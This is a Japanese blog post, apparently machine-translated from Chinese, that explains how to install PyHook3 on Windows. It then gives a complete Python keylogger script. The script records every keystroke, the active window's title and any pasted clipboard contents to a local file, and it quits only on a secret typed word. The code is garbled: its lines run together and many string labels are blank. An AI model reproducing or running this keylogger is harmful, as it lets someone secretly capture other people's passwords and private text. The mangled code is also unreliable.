WindowsインストールPyHook 3

9237 ワード

pyhookヒントTypeError:MouseSwitch()missing 8 required positional arguments:'msg','x','y','data','flags','time','hwnd',and'window_name'マウスのフォーカスがあるウィンドウ名にascii以外のコードが含まれている場合、例えば中国語がunicodeコードである場合、トランスコードに問題が発生し、window_を取得できません.nameは、MouseSwitch()パラメータが不完全なレポートを取得するエラーを引き起こします.
pyHookはpython 2に適しているので、python 2で使うのは問題ありません.今のところ良い解決策はpyHookライブラリをPyHook 3に変更すれば完璧に解決できます.
多くの資料を調べたが、インストールに問題が発生し、最後に以下の方法でインストールに成功した.
1.最初のステップ:
まずAnaconda 3をインストールすると、多くの時間を節約できます.中にはPyHook 3に必要な大量の依存パッケージが事前に入っています.同時に、他にも役に立つパッケージがたくさんあります.
ステップ2:
SWIGWINをダウンロードして、SWIGは注釈したC/C++ヘッダファイル生成をパッケージングPython、TclとPerlのパッケージングコード(これはどういう意味ですか…)に使うことができて、読めなくて関係なくて、とにかく降りてから解凍すればいいです.次に解凍フォルダを開くswig.exeが存在するディレクトリをpathに追加します.環境変数を追加した後、cmdにswig-helpを入力すると反応し、インストールに成功したことを示します.
ステップ3:
Anaconda promptを開き、次のように入力します.
pip3 install PyHook3
ステップ4:
インストールが完了したら、PyHook 3フォルダに入りpython exampleを実行します.pyは問題なく、成功を示すと同時にexample.pyにもマウスリスニングとキーボードリスニングの使い方を少し修正した後、リスニング結果をファイルに保存できるコードを書きました.
# -*- coding: utf-8 -*-    
from ctypes import *  
import pythoncom  
import PyHook3
import win32clipboard  
import os,sys
path=os.getcwd()

user32 = windll.user32  
kernel32 = windll.kernel32  
psapi = windll.psapi
current_window = None
#         ,    
QUIT_WORD="BIGBANG"
QUIT_CONT=QUIT_WORD
# Fkey=["F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"]
#             
def OnKeyboardEvent(event):
    global current_window,QUIT_WORD,QUIT_CONT,path
    FileStr=""
    if(len(QUIT_WORD)==0):
        FileStr+="
-------------------- --------------------


" fp=open(path+"/KeyBoardListen","a",encoding='utf-8') fp.write(FileStr) fp.close() print("
-------------------- --------------------
") sys.exit() return False # ( ) if event.Window != current_window: current_window = event.Window # event.WindowName # API windowTitle = create_string_buffer(512) windll.user32.GetWindowTextA(event.Window, byref(windowTitle), 512) windowName = windowTitle.value.decode('gbk') FileStr+="
"+("-"*60)+"
:%s
ID:%s
"%(windowName,event.Window) print("
-----------------") print(" :%s"%windowName) print(" ID:%s"%event.Window) # ( ) if event.Ascii > 32 and event.Ascii <127: FileStr+=chr(event.Ascii)+' ' print(chr(event.Ascii),end=' ') else: # Ctrl+v( ) , if event.Key == "V": print() print("-"*60) print(" ") win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() print("[ ] %s" % (pasted_value),end=' ') print() print("-"*60) FileStr+='
'+("-"*60)+'
'+"
" FileStr+="[ ] "+pasted_value FileStr+="
" FileStr+=("-"*60)+'
' elif event.Key=="Z": FileStr+="[Ctrl+Z] " print("[Ctrl+Z]",end=' ') elif event.Key=="A": FileStr+="[ ] " print("[ ]",end=' ') elif event.Key=="C": FileStr+="[Ctrl+C] " print("[Ctrl+C]",end=' ') else: if(event.Key=="Space"): FileStr+="[ ] " print("[ ]",end=' ') elif(event.Key=="Lshift"): FileStr+="[ Shift] " print("[ Shift]",end=' ') elif(event.Key=="Left"): FileStr+="[←] " print("[←]",end=' ') elif(event.Key=="Right"): FileStr+="[→] " print("[→]",end=' ') elif(event.Key=="Up"): FileStr+="[↑] " print("[↑]",end=' ') elif(event.Key=="Down"): FileStr+="[↓] " print("[↓]",end=' ') elif(event.Key=="Lmenu"): FileStr+="[ Alt] " print("[ Alt]",end=' ') elif(event.Key=="Rmenu"): FileStr+="[ Alt] " print("[ Alt]",end=' ') elif(event.Key=="Rshift"): FileStr+="[ Shift] " print("[ Shift]",end=' ') elif(event.Key=="Lcontrol"): FileStr+="[ Ctrl] " print("[ Ctrl]",end=' ') elif(event.Key=="Rcontrol"): FileStr+="[ Ctrl] " print("[ Ctrl]",end=' ') elif(event.Key=="Return"): FileStr+="[ ] " print("[ ]",end=' ') elif(event.Key=="Back"): FileStr+="[ ] " print("[ ]",end=' ') elif(event.Key=="Delete"): FileStr+="[Del] " print("[Del]",end=' ') elif(event.Key=="Insert"): FileStr+="[Ins] " print("[Ins]",end=' ') elif(event.Key=="Prior"): FileStr+="[PgUp] " print("[PgUp]",end=' ') elif(event.Key=="Next"): FileStr+="[PgDn] " print("[PgDn]",end=' ') elif(event.Key=="End"): FileStr+="[End] " print("[End]",end=' ') elif(event.Key=="Home"): FileStr+="[Home] " print("[Home]",end=' ') elif(event.Key=="None"): FileStr+="[None] " print("[None]",end=' ') elif(event.Key=="Apps"): # Alt FileStr+="[ ] " print("[ ]",end=' ') elif(event.Key=="Capital"): FileStr+="[ ] " print("[ ]",end=' ') elif(event.Key=="Tab"): FileStr+="[Tab] " print("[Tab]",end=' ') elif(event.Key=="Lwin"): FileStr+="[ Win] " print("[ Win]",end=' ') elif(event.Key=="Rwin"): FileStr+="[ Win] " print("[ Win]",end=' ') elif(event.Key=="Escape"): FileStr+="[Esc] " print("[Esc]",end=' ') elif(event.Key=="Pause"): # PrintScreen FileStr+="[ ] " print("[ ]",end=' ') elif(event.Key=="Snapshot"): FileStr+="[ ] " print("[ ]",end=' ') else: FileStr+="[%s] "%event.Key print("[%s]"%event.Key,end=' ') # if (event.Key==QUIT_WORD[0]): QUIT_WORD=QUIT_WORD[1:] if(len(QUIT_WORD)==0): FileStr+="
-------------------- --------------------


" fp=open(path+"/KeyBoardListen","a",encoding='utf-8') fp.write(FileStr) fp.close() print("
-------------------- --------------------
") sys.exit() return False else: QUIT_WORD=QUIT_CONT # fp=open(path+"/KeyBoardListen","a",encoding='utf-8') fp.write(FileStr) fp.close() # return True # hook kl = PyHook3.HookManager() # kl.KeyDown = OnKeyboardEvent # hook kl.HookKeyboard() pythoncom.PumpMessages()

参照先:
https://blog.csdn.net/qq_38161040/article/details/87920192
https://blog.csdn.net/cool_flag/article/details/82790617
https://blog.csdn.net/u013560932/article/details/78732250/